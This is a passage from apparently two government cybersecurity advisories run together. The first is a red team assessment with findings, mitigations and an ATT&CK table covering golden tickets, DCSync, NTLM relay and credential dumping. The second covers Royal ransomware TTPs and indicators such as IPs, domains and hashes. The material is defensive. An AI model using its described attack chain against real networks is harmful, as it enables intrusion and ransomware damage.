[T1018] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan Collection process stopped before completion. Host isolated and sent for forensics. Data Exfiltration—1 GB of Data Send a large amount (1 GB) of mock sensitive information to an external system over various protocols, including ICMP, DNS, FTP, and/or HTTP/S. Exfiltration Over Alternative Protocol [T1048] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan None Malicious Traffic Generation—Workstation to External Host Establish a session that originates from a target Workstation system directly to an external host over a clear text protocol, such as HTTP. Application Layer Protocol [T1071] Intrusion Detection or Prevention Systems Endpoint Protection Platform Windows Event Logs Detect and Identify source IP and source process of enumeration Analyze scanning host once detected Develop response plan None Active Directory Account Lockout Lock out several administrative AD accounts Account Access Removal [T1531]   Windows Event Logs End User Reporting Detect and Identify source IP and source process of exfiltration Analyze host used for exfiltration once detected Develop response plan None Local Admin User Account Creation (workstation) Create a local administrator account on a target workstation system. Create Account: Local Account [T1136.001] Account Manipulation [T1098] Intrusion Detection or Prevention Systems Endpoint Protection Platform Web Proxy Logs Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan None Local Admin User Account Creation (server) Create a local administrator account on a target server system. Create Account: Local Account [T1136.001] Account Manipulation [T1098] Windows Event Logs Detect account creation Identify source of change Verify change with system owner Develop response plan None Active Directory Account Creation Create AD accounts and add it to domain admins group Create Account: Domain Account [T1136.002] Account Manipulation [T1098] Windows Event Logs Detect account creation Identify source of change Verify change with system owner Develop response plan None Workstation Admin Lateral Movement—Workstation to Workstation Use a previously compromised workstation admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on several target Workstations.   Valid Accounts: Domain Accounts [T1078.002] Remote Services: SMB/Windows Admin Shares, Sub-technique [T1021.002] Create or Modify System Process: Windows Service [T1543.003] Windows Event Logs Detect account compromise Analyze compromised host Develop response plan None Domain Admin Lateral Movement—Workstation to Domain Controller Use a previously compromised domain admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on a target DC. Valid Accounts: Domain Accounts [T1078.002] Remote Services: SMB/Windows Admin Shares, Sub-technique [T1021.002] Create or Modify System Process: Windows Service [T1543.003] Windows Event Logs Detect account compromise Triage compromised host Develop response plan None Malicious Traffic Generation—Domain Controller to External Host Establish a session that originates from a target Domain Controller system directly to an external host over a clear text protocol, such as HTTP. Application Layer Protocol [T1071] Intrusion Detection or Prevention Systems Endpoint Protection Platform Web Proxy Logs Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan None Trigger Host-Based Protection—Domain Controller Upload and execute a well-known (e.g., with a signature) malicious file to a target DC system to generate host-based alerts. Ingress Tool Transfer [T1105] Endpoint Protection Platform Endpoint Detection and Response Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan Malicious file was removed by antivirus Ransomware Simulation Execute simulated ransomware on multiple Workstation systems to simulate a ransomware attack. Note: This technique does NOT encrypt files on the target system. N/A End User Reporting Investigate end user reported event Triage compromised host Develop response Plan Four users reported event to defensive staff Findings Key Issues The red team noted the following key issues relevant to the security of the organization’s network. These findings contributed to the team’s ability to gain persistent, undetected access across the organization’s sites. See the Mitigations section for recommendations on how to mitigate these issues. Insufficient host and network monitoring. Most of the red team’s Phase II actions failed to provoke a response from the people, processes, and technology defending the organization’s network. The organization failed to detect lateral movement, persistence, and C2 activity via their intrusion detection or prevention systems, endpoint protection platform, web proxy logs, and Windows event logs. Additionally, throughout Phase I, the team received no deconflictions or confirmation that the organization caught their activity. Below is a list of some of the higher risk activities conducted by the team that were opportunities for detection: Phishing Lateral movement reuse Generation and use of the golden ticket Anomalous LDAP traffic Anomalous internal share enumeration Unconstrained Delegation server compromise DCSync Anomalous account usage during lateral movement Anomalous outbound network traffic Anomalous outbound SSH connections to the team’s cloud servers from workstations Lack of monitoring on endpoint management systems. The team used the organization’s MDM system to gain root access to machines across the organization’s network without being detected. Endpoint management systems provide elevated access to thousands of hosts and should be treated as high value assets (HVAs) with additional restrictions and monitoring. KRBTGT never changed. The Site 1 krbtgt account password had not been updated for over a decade. The krbtgt account is a domain default account that acts as a service account for the key distribution center (KDC) service used to encrypt and sign all Kerberos tickets for the domain. Compromise of the krbtgt account could provide adversaries with the ability to sign their own TGTs, facilitating domain access years after the date of compromise. The red team was able to use the krbtgt account to forge TGTs for multiple accounts throughout Phase I. Excessive permissions to standard users. The team discovered several standard user accounts that have local administrator access to critical servers. This misconfiguration allowed the team to use the low-level access of a phished user to move laterally to an Unconstrained Delegation host and compromise the entire domain. Hosts with Unconstrained Delegation enabled unnecessarily. Hosts with Unconstrained Delegation enabled store the Kerberos TGTs of all users that authenticate to that host, enabling actors to steal service tickets or compromise krbtgt accounts and perform golden ticket or “silver ticket” attacks. The team performed an NTLM-relay attack to obtain the DC’s TGT, followed by a golden ticket attack on a SharePoint server with Unconstrained Delegation to gain the ability to impersonate any Site 1 AD account. Use of non-secure default configurations. The organization used default configurations for hosts with Windows Server 2012 R2. The default configuration allows unprivileged users to query group membership of local administrator groups. The red team used and identified several standard user accounts with administrative access from a Windows Server 2012 R2 SharePoint server. Additional Issues The team noted the following additional issues. Ineffective separation of privileged accounts. Some workstations allowed unprivileged accounts to have local administrator access; for example, the red team discovered an ordinary user account in the local admin group for the SharePoint server. If a user with administrative access is compromised, an actor can access servers without needing to elevate privileges. Administrative and user accounts should be separated, and designated admin accounts should be exclusively used for admin purposes. Lack of server egress control. Most servers, including domain controllers, allowed unrestricted egress traffic to the internet. Inconsistent host configuration. The team observed inconsistencies on servers and workstations within the domain, including inconsistent membership in the local administrator group among different servers or workstations. For example, some workstations had “Server Admins” or “Domain Admins” as local administrators, and other workstations had neither. Potentially unwanted programs. The team noticed potentially unusual software, including music software, installed on both workstations and servers. These extraneous software installations indicate inconsistent host configuration (see above) and increase the attack surfaces for malicious actors to gain initial access or escalate privileges once in the network. Mandatory password changes enabled. During the assessment, the team keylogged a user during a mandatory password change and noticed that only the final character of their password was modified. This is potentially due to domain passwords being required to be changed every 60 days. Smart card use was inconsistent across the domain. While the technology was deployed, it was not applied uniformly, and there was a significant portion of users without smartcard protections enabled. The team used these unprotected accounts throughout their assessment to move laterally through the domain and gain persistence. Noted Strengths The red team noted the following technical controls or defensive measures that prevented or hampered offensive actions: The organization conducts regular, proactive penetration tests and adversarial assessments and invests in hardening their network based on findings. The team was unable to discover any easily exploitable services, ports, or web interfaces from more than three million external in-scope IPs. This forced the team to resort to phishing to gain initial access to the environment. Service account passwords were strong. The team was unable to crack any of the hashes obtained from the 610 service accounts pulled. This is a critical strength because it slowed the team from moving around the network in the initial parts of the Phase I. The team did not discover any useful credentials on open file shares or file servers. This slowed the progress of the team from moving around the network. MFA was used for some SBSs. The team was blocked from moving to SBS 2 by an MFA prompt. There were strong security controls and segmentation for SBS systems. Direct access to SBS were located in separate networks, and admins of SBS used workstations protected by local firewalls. MITIGATIONS CISA recommends organizations implement the recommendations in Table 2 to mitigate the issues listed in the Findings section of this advisory. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. See CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections. Table 2: Recommendations to Mitigate Identified Issues Issue Recommendation Insufficient host and network monitoring Establish a security baseline of normal network traffic and tune network appliances to detect anomalous behavior [CPG 3.1]. Tune host-based products to detect anomalous binaries, lateral movement, and persistence techniques. Create alerts for Windows event log authentication codes, especially for the domain controllers. This could help detect some of the pass-the-ticket, DCSync, and other techniques described in this report. From a detection standpoint, focus on identity and access management (IAM) rather than just network traffic or static host alerts. Consider who is accessing what (what resource), from where (what internal host or external location), and when (what day and time the access occurs). Look for access behavior that deviates from expected or is indicative of AD abuse. Reduce the attack surface by limiting the use of legitimate administrative pathways and tools such as PowerShell, PSExec, and WMI, which are often used by malicious actors. CISA recommends selecting one tool to administer the network, ensuring logging is turned on [CPG 3.1], and disabling the others. Consider using “honeypot” service principal names (SPNs) to detect attempts to crack account hashes [CPG 1.1]. Conduct regular assessments to ensure processes and procedures are up to date and can be followed by security staff and end users. Consider using red team tools, such as SharpHound, for AD enumeration to identify users with excessive privileges and misconfigured hosts (e.g., with Unconstrained Delegation enabled). Ensure all commercial tools deployed in your environment are regularly tuned to pick up on relevant activity in your environment. Lack of monitoring on endpoint management systems Treat endpoint management systems as HVAs with additional restrictions and monitoring because they provide elevated access to thousands of hosts. KRBTGT never changed Change the krbtgt account password on a regular schedule such as every 6 to 12 months or if it becomes compromised. Note that this password change must be carefully performed to effectively change the credential without breaking AD functionality. The password must be changed twice to effectively invalidate the old credentials. However, the required waiting period between resets must be greater than the maximum lifetime period of Kerberos tickets, which is 10 hours by default. See Microsoft’s KRBTGT account maintenance considerations guidance for more information. Excessive permissions to standard users and ineffective separation of privileged accounts Implement the principle of least privilege: Grant standard user rights for standard user tasks such as email, web browsing, and using line-of-business (LOB) applications. Periodically audit standard accounts and minimize where they have privileged access. Periodically Audit AD permissions to ensure users do not have excessive permissions and have not been added to admin groups. Evaluate which administrative groups should administer which servers/workstations. Ensure group members administrative accounts instead of standard accounts. Separate administrator accounts from user accounts [CPG 1.5]. Only allow designated admin accounts to be used for admin purposes. If an individual user needs administrative rights over their workstation, use a separate account that does not have administrative access to other hosts, such as servers. Consider using a privileged access management (PAM) solution to manage access to privileged accounts and resources [CPG 3.4]. PAM solutions can also log and alert usage to detect any unusual activity and may have helped stop the red team from accessing resources with admin accounts. Note: password vaults associated with PAM solutions should be treated as HVAs with additional restrictions and monitoring (see below). Configure time-based access for accounts set at the admin level and higher. For example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege, as well as the Zero Trust model. This is a process in which a network-wide policy is set in place to automatically disable administrator accounts at the AD level when the account is not in direct need. When individual users need the account, they submit their requests through an automated process that enables access to a system but only for a set timeframe to support task completion. Hosts with Unconstrained Delegation enabled Remove Unconstrained Delegation from all servers. If Unconstrained Delegation functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., constrained delegation) or explore whether systems can be retired or further isolated from the enterprise. CISA recommends Windows Server 2019 or greater. Consider disabling or limiting NTLM and WDigest Authentication if possible, including using their use as criteria for prioritizing updates to legacy systems or for segmenting the network. Instead use more modern federation protocols (SAML, OIDC) or Kerberos for authentication with AES-256 bit encryption [CPG 3.4]. If NTLM must be enabled, enable Extended Protection for Authentication (EPA) to prevent some NTLM-relay attacks, and implement SMB signing to prevent certain adversary-in-the-middle and pass-the-hash attacks CPG 3.4]. See Microsoft Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS) and Microsoft Overview of Server Message Block signing for more information. Use of non-secure default configurations Keep systems and software up to date [CPG 5.1]. If updates cannot be uniformly installed, update insecure configurations to meet updated standards. Lack of server egress control Configure internal firewalls and proxies to restrict internet traffic from hosts that do not require it. If a host requires specific outbound traffic, consider creating an allowlist policy of domains. Large number of credentials in a shared vault Treat password vaults as HVAs with additional restrictions and monitoring [CPG 3.4]: If on-premise, require MFA for admin and apply network segmentation [CPG 1.3]. Use solutions with end-to-end encryption where applicable [CPG 3.3]. If cloud-based, evaluate the provider to ensure use of strong security controls such as MFA and end-to-end encryption [CPG 1.3, 3.3]. Inconsistent host configuration Establish a baseline/gold-image for workstations and servers and deploy from that image [CPG 2.5]. Use standardized groups to administer hosts in the network. Potentially unwanted programs Implement software allowlisting to ensure users can only install software from an approved list [CPG 2.1]. Remove unnecessary, extraneous software from servers and workstations. Mandatory password changes enabled Consider only requiring changes for memorized passwords in the event of compromise. Regular changing of memorized passwords can lead to predictable patterns, and both CISA and the National Institute of Standards and Technology (NIST) recommend against changing passwords on regular intervals. Additionally, CISA recommends organizations implement the mitigations below to improve their cybersecurity posture: Provide users with regular training and exercises, specifically related to phishing emails [CPG 4.3]. Phishing accounts for majority of initial access intrusion events. Enforce phishing-resistant MFA to the greatest extent possible [CPG 1.3]. Reduce the risk of credential compromise via the following: Place domain admin accounts in the protected users group to prevent caching of password hashes locally; this also forces Kerberos AES authentication as opposed to weaker RC4 or NTLM. Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA). Refrain from storing plaintext credentials in scripts [CPG 3.4]. The red team discovered a PowerShell script containing plaintext credentials that allowed them to escalate to admin. Upgrade to Windows Server 2019 or greater and Windows 10 or greater. These versions have security features not included in older operating systems. As a long-term effort, CISA recommends organizations prioritize implementing a more modern, Zero Trust network architecture that: Leverages secure cloud services for key enterprise security capabilities (e.g., identity and access management, endpoint detection and response, policy enforcement). Upgrades applications and infrastructure to leverage modern identity management and network access practices. Centralizes and streamlines access to cybersecurity data to drive analytics for identifying and managing cybersecurity risks. Invests in technology and personnel to achieve these goals. CISA encourages organizational IT leadership to ask their executive leadership the question: Can the organization accept the business risk of NOT implementing critical security controls such as MFA? Risks of that nature should typically be acknowledged and prioritized at the most senior levels of an organization. VALIDATE SECURITY CONTROLS In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see Table 3). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies’ performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program, including people, processes, and technologies, based on the data generated by this process. CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. RESOURCES See CISA’s RedEye tool on CISA’s GitHub page. RedEye is an interactive open-source analytic tool used to visualize and report red team command and control activities. See CISA’s RedEye tool overview video for more information. REFERENCES [1] Bleeping Computer: New DFSCoerce NTLM Relay attack allows Windows domain takeover APPENDIX: MITRE ATT&CK TACTICS AND TECHNIQUES See Table 3 for all referenced red team tactics and techniques in this advisory. Note: activity was from Phase I unless noted. Table 3: Red Team ATT&CK Techniques for Enterprise   Reconnaissance   Technique Title ID Use Gather Victim Identity Information: Email Addresses T1589.002   The team found employee email addresses via open-source research. Gather Victim Identify Information: Employee Names   T1589.003   The team identified employee names via open-source research that could be used to derive email addresses. Gather Victim Network Information: Network Security Appliances T1590.006 The team identified the organization’s MDM vendor and leveraged that information to move laterally to SBS-connected assets. Gather Victim Org Information T1591 The team conducted open-source research and identified an organizational branch that likely had access to an SBS asset. Gather Victim Org Information: Determine Physical Locations T1591.001 The team conducted open-source research to identify the physical locations of upkeep/management staff of selected assets. Search Open Technical Databases: Scan Databases   T1596.005 The team queried an MDM SQL database to identify target administrators who recently connected with the MDM.   Resource Development   Technique Title ID Use Acquire Infrastructure T1583 The team used third-party owned and operated infrastructure throughout their assessment for C2. Establish Accounts: Email Accounts T1585.002 The team used commercially available email platforms for their spearphishing activity. Obtain Capabilities: Tool T1588.002 The team used the following tools: Cobalt Strike and Merlin payloads for C2. KeeThief to obtain a decryption key from a KeePass database Rubeus and DFSCoerce in an NTLM relay attack   Initial Access   Technique Title ID Use Phishing: Spearphishing Link T1566.002 The team sent spearphishing emails with links to a red-team-controlled domain to gain access to the organization’s systems.   Execution   Technique Title ID Use Native API T1106 The team created a policy via the MDM API, which downloaded and executed a payload on a workstation. User Execution T1204 Users downloaded and executed the team’s initial access payloads after clicking buttons to trigger download and execution.   Persistence   Technique Title ID Use   Account Manipulation T1098 The team elevated account privileges to administrator and modified the user’s account by adding Create Policy and Delete Policy permissions. During Phase II, the team created local admin accounts and an AD account; they added the created AD account to a domain admins group. Create Account: Local Account T1136.001 During Phase II, the team created a local administrator account on a workstation and a server. Create Account: Domain Account T1136.002 During Phase II, the team created an AD account. Create or Modify System Process: Windows Service T1543.003 During Phase II, the team leveraged compromised workstation and domain admin accounts to execute a payload via Windows Service Creation on target workstations and the DC. Event Triggered Execution: Windows Management Instrumentation Event Subscription T1546.003 The team used WMI Event Subscriptions to move laterally between sites. Hijack Execution Flow: DLL Search Order Hijacking T1574.001 The team used DLL hijacking to move laterally between sites.   Privilege Escalation   Technique Title ID Use Abuse Elevation Control Mechanism T1548 The team elevated user account privileges to administrator by modifying the user’s account via adding Create Policy and Delete Policy permissions.   Defense Evasion   Technique Title ID Use Valid Accounts: Domain Accounts T1078.002 During Phase II, the team compromised a domain admin account and used it to laterally to multiple workstations and the DC.   Credential Access   Technique Title ID Use OS Credential Dumping: LSASS Memory T1003.001 The team obtained the cached credentials from a SharePoint server account by taking a snapshot of lsass.exe with a tool called nanodump, exporting the output and processing the output offline with Mimikatz. OS Credential Dumping: DCSync T1003.006 The team harvested AES-256 hashes via DCSync. Brute Force: Password Cracking T1110.002 The team cracked a user’s workstation account password after learning the user’s patterns from plaintext credentials. Unsecured Credentials T1552 The team found backups of a MySQL database that contained the encryption key needed to decrypt SSH passwords. Unsecured Credentials: Credentials in Files T1552.001 The team found plaintext credentials to an API user account stored in PowerShell scripts on an MDM server. Unsecured Credentials: Bash History T1552.003 The team found bash history files on a Workstation 5, and the files appeared to be SSH passwords saved in bash history. Credentials from Password Stores: Password Managers T1555.005 The team pulled credentials from a KeePass database.   Adversary-in-the-middle: LLMNR/NBT-NS Poisoning and SMB Relay T1557.001 The team ran the DFSCoerce python script, which prompted DC authentication to a server using the server’s NTLM hash. The team then deployed Rubeus to capture the incoming DC TGT. Steal or Forge Kerberos Tickets: Golden Ticket T1558.001 The team used the acquired krbtgt account hash throughout their assessment to forge legitimate TGTs. Steal or Forge Kerberos Tickets: Kerberoasting T1558.003 The team leveraged Rubeus and DFSCoerce in a NTLM relay attack to obtain the DC’s TGT from a host with Unconstrained Delegation enabled.   Discovery   Technique Title ID Use System Network Configuration Discovery T1016 The team queried the AD for information about the network's sites and subnets.  Remote System Discovery T1018 The team queried the AD, during phase I and II, for information about computers on the network.  System Network Connections Discovery T1049 The team listed existing network connections on SCCM Server 1 to reveal an active SMB connection with server 2. Permission Groups Discovery: Domain Groups T1069.002 The team leveraged ldapsearch and dsquery to query and scrape active directory information.  Account Discovery: Domain Account T1087.002 The team queried AD for AD users (during Phase I and II), including for members of a SharePoint admin group and several standard user accounts with administrative access. Cloud Infrastructure Discovery T1580 The team found SecOps network diagrams on a host detailing cloud infrastructure boundaries. Domain Trust Discovery T1482 During Phase II, the team enumerated trust relationships within the AD Forest. Group Policy Discovery T1615 The team scraped AD information, including GPOs. Network Service Discovery T1046 During Phase II, the team enumerated ports on target systems from a previously compromised workstation. System Owner/User Discovery T1033 During Phase II, the team enumerated the AD for current session information from every domain computer (Workstation and Server).   Lateral Movement   Technique Title ID Use Remote Services: SMB/Windows Admin Shares T1021.002 The team moved laterally with an SMB beacon. During Phase II, they used compromised workstation and domain admin accounts to upload a payload via SMB on several target Workstations and the DC. Use Alternate Authentication Material: Pass the Hash T1550.002 The team ran the DFSCoerce python script, which prompted DC authentication to a server using the server’s NTLM hash. The team then deployed Rubeus to capture the incoming DC TGT. Pass the Ticket T1550.003 The team used the asktgt command to impersonate accounts for which they had credentials by requesting account TGTs.   Command and Control   Technique Title ID Use Application Layer Protocol T1071 The team remotely enumerated the local administrators group on target hosts to find valid user accounts. This technique relies on anonymous SMB pipe binds, which are disabled by default starting with Server 2016. During Phase II, the team established sessions that originated from a target Workstation and from the DC directly to an external host over a clear text protocol. Application Layer Protocol: Web Protocols T1071.001 The team’s C2 redirectors used HTTPS reverse proxies to redirect C2 traffic. Application Layer Protocol: File Transfer Protocols T1071.002 The team used HTTPS reverse proxies to redirect C2 traffic between target network and the team’s Cobalt Strike servers. Encrypted Channel T1573 The team’s C2 traffic was encrypted in transit using encryption keys stored on their C2 servers. Ingress Tool Transfer T1105 During Phase II, the team uploaded and executed well-known malicious files to the DC to generate host-based alerts. Proxy: External Proxy T1090.002 The team used redirectors to redirect C2 traffic between the target organization’s network and the team’s C2 servers. Proxy: Domain Fronting T1090.004 The team used domain fronting to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating.   Impact   Technique Title ID Use Account Access Removal T1531 During Phase II, the team locked out several administrative AD accounts.   Please share your thoughts. We recently updated our anonymous Product Feedback Survey and we'd welcome your feedback.

SUMMARY Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. Actions to take today to mitigate cyber threats from ransomware: Prioritize remediating known exploited vulnerabilities. Train users to recognize and report phishing attempts. Enable and enforce multifactor authentication. The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Royal ransomware IOCs and TTPs identified through FBI threat response activities as recently as January 2023. Since approximately September 2022, cyber criminals have compromised U.S. and international organizations with a Royal ransomware variant. FBI and CISA believe this variant, which uses its own custom-made file encryption program, evolved from earlier iterations that used “Zeon” as a loader. After gaining access to victims’ networks, Royal actors disable antivirus software and exfiltrate large amounts of data before ultimately deploying the ransomware and encrypting the systems. Royal actors have made ransom demands ranging from approximately $1 million to $11 million USD in Bitcoin. In observed incidents, Royal actors do not include ransom amounts and payment instructions as part of the initial ransom note. Instead, the note, which appears after encryption, requires victims to directly interact with the threat actor via a .onion URL (reachable through the Tor browser). Royal actors have targeted numerous critical infrastructure sectors including, but not limited to, Manufacturing, Communications, Healthcare and Public Healthcare (HPH), and Education. FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Download the PDF version of this report: #StopRansomware: Royal Ransomware (PDF, 586.96 KB ) For a downloadable copy of IOCs, see AA23-061A STIX XML (XML, 114.26 KB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques. Royal ransomware uses a unique partial encryption approach that allows the threat actor to choose a specific percentage of data in a file to encrypt. This approach allows the actor to lower the encryption percentage for larger files, which helps evade detection.[1] In addition to encrypting files, Royal actors also engage in double extortion tactics in which they threaten to publicly release the encrypted data if the victim does not pay the ransom. Initial Access Royal actors gain initial access to victim networks in a number of ways including:  Phishing. According to third-party reporting, Royal actors most commonly (in 66.7% of incidents) gain initial access to victim networks via successful phishing emails [T1566]. According to open-source reporting, victims have unknowingly installed malware that delivers Royal ransomware after receiving phishing emails containing malicious PDF documents [T1566.001], and malvertising [T1566.002].[2] Remote Desktop Protocol (RDP). The second most common vector Royal actors use (in 13.3% of incidents) for initial access is RDP compromise.   Public-facing applications. FBI has also observed Royal actors gain initial access through exploiting public-facing applications [T1190].  Brokers. Reports from trusted third-party sources indicate that Royal actors may leverage brokers to gain initial access and source traffic by harvesting virtual private network (VPN) credentials from stealer logs.  Command and Control Once Royal actors gain access to the network, they communicate with command and control (C2) infrastructure and download multiple tools [T1105]. Legitimate Windows software is repurposed by Royal operators to strengthen their foothold in the victim’s network. Ransomware operators often use open-source projects to aid their intrusion activities; Royal operators have recently been observed using Chisel, a tunneling tool transported over HTTP and secured via SSH [T1572], to communicate with their C2 infrastructure. FBI has observed multiple Qakbot C2s used in Royal ransomware attacks, but has not yet determined if Royal ransomware exclusively uses Qakbot C2s. Lateral Movement and Persistence Royal actors often use RDP to move laterally across the network [T1021.001]. Microsoft Sysinternals tool PsExec has also been used to aid lateral movement. FBI has observed Royal actors using remote monitoring and management (RMM) software, such as AnyDesk, LogMeIn, and Atera, for persistence in the victim’s network [T1133]. In some instances, the actors moved laterally to the domain controller. In one confirmed case, the actors used a legitimate admin account to remotely log on to the domain controller [T1078]. Once on the domain controller, the threat actor deactivated antivirus protocols [T1562.001] by modifying Group Policy Objects [T1484.001]. Exfiltration Royal actors exfiltrate data from victim networks by repurposing legitimate cyber pentesting tools, such as Cobalt Strike, and malware tools and derivatives, such as Ursnif/Gozi, for data aggregation and exfiltration. According to third-party reporting, Royal actors’ first hop in exfiltration and other operations is usually a U.S. IP address. Note: In reference to Cobalt Strike and other tools mentioned above, a tool repository used by Royal was identified at IP: 94.232.41[.]105 in December 2022. Encryption Before starting the encryption process, Royal actors:  Use Windows Restart Manager to determine whether targeted files are currently in use or blocked by other applications [T1486].[1]  Use Windows Volume Shadow Copy service (vssadmin.exe) to delete shadow copies to prevent system recovery.[1]   FBI has found numerous batch (.bat) files on impacted systems which are typically transferred as an encrypted 7zip file. Batch files create a new admin user [T1078.002], force a group policy update, set pertinent registry keys to auto-extract [T1119] and execute the ransomware, monitor the encryption process, and delete files upon completion—including Application, System, and Security event logs [T1070.001]. Malicious files have been found in victim networks in the following directories: C:\Temp\   C:\Users\\AppData\Roaming\   C:\Users\\  C:\ProgramData\ Indicators of Compromise (IOC) See table 1 and 2 for Royal ransomware IOCs that FBI obtained during threat response activities as of January 2023. Note: Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking. Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023 IOC Description .royal Encrypted file extension README.TXT Ransom note Malicious IP Last Activity 102.157.44[.]105 November 2022 105.158.118[.]241 November 2022 105.69.155[.]85 November 2022 113.169.187[.]159 November 2022 134.35.9[.]209 November 2022 139.195.43[.]166 November 2022 139.60.161[.]213 November 2022 148.213.109[.]165 November 2022 163.182.177[.]80 November 2022 181.141.3[.]126 November 2022 181.164.194[.]228 November 2022 185.143.223[.]69 November 2022 186.64.67[.]6 November 2022 186.86.212[.]138 November 2022 190.193.180[.]228 November 2022 196.70.77[.]11 November 2022 197.11.134[.]255 November 2022 197.158.89[.]85 November 2022 197.204.247[.]7 November 2022 197.207.181[.]147 November 2022 197.207.218[.]27 November 2022 197.94.67[.]207 November 2022 23.111.114[.]52 November 2022 41.100.55[.]97 November 2022 41.107.77[.]67 November 2022 41.109.11[.]80 November 2022 41.251.121[.]35 November 2022 41.97.65[.]51 November 2022 42.189.12[.]36 November 2022 45.227.251[.]167 November 2022 5.44.42[.]20 November 2022 61.166.221[.]46 November 2022 68.83.169[.]91 November 2022 81.184.181[.]215 November 2022 82.12.196[.]197 November 2022 98.143.70[.]147 November 2022 140.82.48[.]158 December 2022 147.135.36[.]162 December 2022 147.135.11[.]223 December 2022 152.89.247[.]50 December 2022 179.43.167[.]10 December 2022 185.7.214[.]218 December 2022 193.149.176[.]157 December 2022 193.235.146[.]104 December 2022 209.141.36[.]116 December 2022 45.61.136[.]47 December 2022 45.8.158[.]104 December 2022 5.181.234[.]58 December 2022 5.188.86[.]195 December 2022 77.73.133[.]84 December 2022 89.108.65[.]136 December 2022 94.232.41[.]105 December 2022 47.87.229[.]39 January 2023 Malicious Domain Last Observed ciborkumari[.]xyz October 2022 sombrat[.]com October 2022 gororama[.]com November 2022 softeruplive[.]com November 2022 altocloudzone[.]live December 2022 ciborkumari[.]xyz December 2022 myappearinc[.]com December 2022 parkerpublic[.]com December 2022 pastebin.mozilla[.]org/Z54Vudf9/raw December 2022 tumbleproperty[.]com December 2022 myappearinc[.]com/acquire/draft/c7lh0s5jv January 2023 Table 2: Tools used by Royal operators Tool SHA256 AV tamper 8A983042278BC5897DBCDD54D1D7E3143F8B7EAD553B5A4713E30DEFFDA16375 TCP/UDP Tunnel over HTTP (Chisel) 8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451 Ursnif/Gozi be030e685536eb38ba1fec1c90e90a4165f6641c8dc39291db1d23f4ee9fa0b1 Exfil B8C4AEC31C134ADBDBE8AAD65D2BCB21CFE62D299696A23ADD9AA1DE082C6E20 Remote Access (AnyDesk) 4a9dde3979c2343c024c6eeeddff7639be301826dd637c006074e04a1e4e9fe7 PowerShell Toolkit Downloader 4cd00234b18e04dcd745cc81bb928c8451f6601affb5fa45f20bb11bfb5383ce PsExec (Microsoft Sysinternals) 08c6e20b1785d4ec4e3f9956931d992377963580b4b2c6579fd9930e08882b1c Keep Host Unlocked (Don’t Sleep) f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee Ransomware Executable d47d4b52e75e8cf3b11ea171163a66c06d1792227c1cf7ca49d7df60804a1681 Windows Command Line (NirCmd) 216047C048BF1DCBF031CF24BD5E0F263994A5DF60B23089E393033D17257CB5 System Management (NSudo) 19896A23D7B054625C2F6B1EE1551A0DA68AD25CDDBB24510A3B74578418E618 Batch Scripts   Filename Hash Value 2.bat 585b05b290d241a249af93b1896a9474128da969 3.bat 41a79f83f8b00ac7a9dd06e1e225d64d95d29b1d 4.bat a84ed0f3c46b01d66510ccc9b1fc1e07af005c60 8.bat c96154690f60a8e1f2271242e458029014ffe30a kl.bat 65dc04f3f75deb3b287cca3138d9d0ec36b8bea0 gp.bat 82f1f72f4b1bfd7cc8afbe6d170686b1066049bc7e5863b51aa15ccc5c841f58 r.bat 74d81ef0be02899a177d7ff6374d699b634c70275b3292dbc67e577b5f6a3f3c runanddelete.bat 342B398647073159DFA8A7D36510171F731B760089A546E96FBB8A292791EFEE MITRE ATT&CK TECHNIQUES See table 3 for all referenced threat actor tactics and techniques included in this advisory. Table 3: Royal Actors ATT&CK Techniques for Enterprise Initial Access     Technique Title ID Use Exploit Public Facing Application T1190 The actors gain initial access through public-facing applications. Phishing: Spear phishing Attachment T1566.001 The actors gain initial access through malicious PDF attachments sent via email. Phishing: Spearphishing Link T1566.002 The actors gain initial 